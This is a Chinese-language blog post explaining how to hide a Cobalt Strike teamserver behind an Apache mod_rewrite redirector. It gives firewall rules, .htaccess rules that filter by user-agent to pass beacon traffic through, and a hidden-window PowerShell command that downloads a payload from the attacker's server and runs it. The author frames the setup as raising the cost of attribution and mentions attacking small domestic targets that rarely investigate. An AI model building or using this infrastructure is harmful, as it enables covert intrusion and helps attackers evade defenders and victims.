th-cobaltstrike团队服务器隐匿的实践

preview

由于最近重新申请了数个VPS,故想在踪迹隐藏方面下点功夫。以下图片是目前的通信方式。这算是一个低配版的多级C2。

架构简要图

Redirector有多种选择,一种是使用socat、ssh或者iptables等直接转发的工具,这类工具会将对应的请求包直接转发给目标服务器,不太好做条件转发。
另一种是使用apache的mod_rewrite来转发,可以根据UA来进行有条件地转发,因此在这里就介绍一下使用apache的mod_rewrite来搭建重定向服务器的步骤。

Teamserver

3.13版本之前的cobaltstrike因为存在漏洞而导致全网的teamserver可被扫描识别。为了防止以后发生类似的情况。打算让teamserver只能从redirector访问。从其他IP的任何访问形式直接reject或 deny。

使用ufw配置如下规则

ufw allow ssh //允许任意IP使用ssh登录,如果换了端口号则指定端口号
ufw allow 53/tcp from x.x.x.x //允许53端口接受来自x.x.x.x的tcp包
sudo ufw allow from x.x.x.x to any port 80,81,8080,8081 proto tcp //同上
sudo ufw allow from x.x.x.x to any port 53 proto udp//同上,接受udp包
sudo ufw allow from x.x.x.x to any port [teamserverport] //开启teamserver的端口
sudo ufw default deny //默认返回deny
sudo ufw enable //使用规则
sudo ufw status //查看状态

然后再编写profile文件,这里我使用cs作者给出的profile作为例子,推荐大家自己参考各种profile后修改编写属于自己的profile,减少被防火墙识别的概率。编写完后记得使用自带的c2lint进行合格性检查。
然后启动teamserver的时候,带上第三个参数,即profile文件路径即可。cs会重载替换对应的默认profile配置。

Redirect

Ubuntu

安装apache 后,开启apache转发功能。
步骤如下:

  1. vim /etc/apache2/apache.conf
  2. 查找字符串 ?AllowOverride
  3. 将AllowOverride None 修改为 AllowOverride All,将Require all 的值设置为 granted。
  4. 终端中启动重定向模块 sudo a2enmod rewrite proxy proxy_http

然后即可在apache的web根目录下创建.htaccess 文件,内容如下:

RewriteEngine On
RewriteCond %{REQUEST_URI} ^/ __[web payload path]__ /?$
RewriteCond %{HTTP_USER_AGENT} ^Mozilla/5\.0\ \(compatible;\ MSIE\ 11\.0;\ Windows\ NT\ 6\.3;\ Trident/9\.0\)?$
RewriteRule ^.\*$ http:// __[teamserver ip]__ %{REQUEST_URI} [P]
RewriteCond %{REQUEST_URI} ^/..../?$
RewriteCond %{HTTP_USER_AGENT} ^Mozilla/5\.0\ \(compatible;\ MSIE\ 11\.0;\ Windows\ NT\ 6\.3;\ Trident/9\.0\)?$
RewriteRule ^.\*$ http:// __[teamserver ip]__ %{REQUEST_URI} [P]
RewriteCond %{REQUEST_URI} ^/(/preload)/?$
RewriteCond %{HTTP_USER_AGENT} ^Mozilla/4\.0\ \(compatible;\ MSIE\ 6\.0;\ Windows\ NT\ 5\.1;\ SV1;\ InfoPath\.2\)?$
RewriteRule ^.\*$ http:// __[teamserver ip]__ %{REQUEST_URI} [P]
RewriteCond %{REQUEST_URI} ^/(/sa)/?$
RewriteCond %{HTTP_USER_AGENT} ^Mozilla/4\.0\ \(compatible;\ MSIE\ 6\.0;\ Windows\ NT\ 5\.1;\ SV1;\ InfoPath\.2\)?$
RewriteRule ^.\*$ http:// _[teamserver ip]_ %{REQUEST_URI} [P]
RewriteRule ^.\*$ http:// __[www.baidu.com]__ /? [L,R=302]

简单解释一下该规则的含义

  • RewriteCond是判断语句,如果满足条件则执行紧邻着的语句,否则跳过下一行语句。
  • 2-4行用于下载payload阶段,即在cs中使用web delivery 加载payload.
  • 5-7行则用于stager阶段,即下载执行监听器的payload,用….表示接受任意4个字符。这是因为cs中监听器payload加载地址是随机的4个字符。
  • 8-13行则是用于建立连接以后的正常通信请求,这里的请求url可以在profile中定义。

加粗的字体表示要修改成自己对应的IP。另外,其实这里的规则可以进一步化简成只判断客户端是否满足我们设定的user-agent即可。

Windows Server

在windows环境中配置apache和ubuntu差不多,只提几个要注意的点,其他的步骤是一样的。
Windows中安装完apache后,配置文件是在\Apache24\conf中的httpd.conf,打开配置文件后,先搜索AllowOverride字符串,作出如下修改
235行左右的

第一个重载

272行的

第二个重载

AllowOverride和Require要修改成和图上一样的。注意,如果少修改了272行的参数,则在windows下会忽略.htaccess文件。
然后在搜索mod_rewrite、mod_proxy、mod_proxy_http、mod_proxy_http2,将最前面的注释去掉,即可加载对应模块。
之后则同之前的步骤一样,在web根目录下创建.htaccess文件即可(需要在CMD中创建,不然无法识别格式)。

实践

然后cobaltstrike中启动监听器的时候,输入的Host填重定向服务器的ip,确认后,弹出的domain输入框中输入重定向服务器的域名(没有域名也可以填入ip)。就可以做到利用重定向服务器与目标进行通信。

另外,由于我在重定向服务器中把stager阶段的UA也给确定了,所以payload加载方式也要做一点变化,要使用如下格式payload:
powershell -nop -w hidden -c “$cli = New-Object System.Net.WebClient;$cli.Headers[‘User-Agent’] = ‘Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.3; Trident/9.0)’;$cli.Downloadstring(‘http://www.teamserver.com/payload ‘)|IEX”

即先设置UA头,再发送请求。注意,这段payload不能在powershell窗口下面加载,会提示语法错误,使用cmd窗口或者其他加载方式即可。
这样,客户端上只能捕捉到与重定向服务器交互的流量,隐藏了真实的teamserver IP地址,且直接使用浏览器或者脚本扫描的方式,都不能得到teamserver的正确响应。差异对比的截图我就不放出来了,懒得对公网IP打码。

参考:https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki/blob/master/README.md


summary

说一点感受,隐蔽团队服务器,为的就是提高溯源成本。但其实如果只是搞国内的小目标,一般都不需要做转发,因为小目标是不太会去溯源的。但是为了能更贴近大佬们,就要先从基础设施的踩坑开始。
这篇文章没有什么技术上的要点,如果非要说有的话,那就是怎么使payload加载方式可以自动修改了。这就要使用到cobaltstrike的cna脚本编写,自己根据资料尝试了一下,发现怎么也调试不出来效果,但是根据反编译的源码来看,明明没错才对。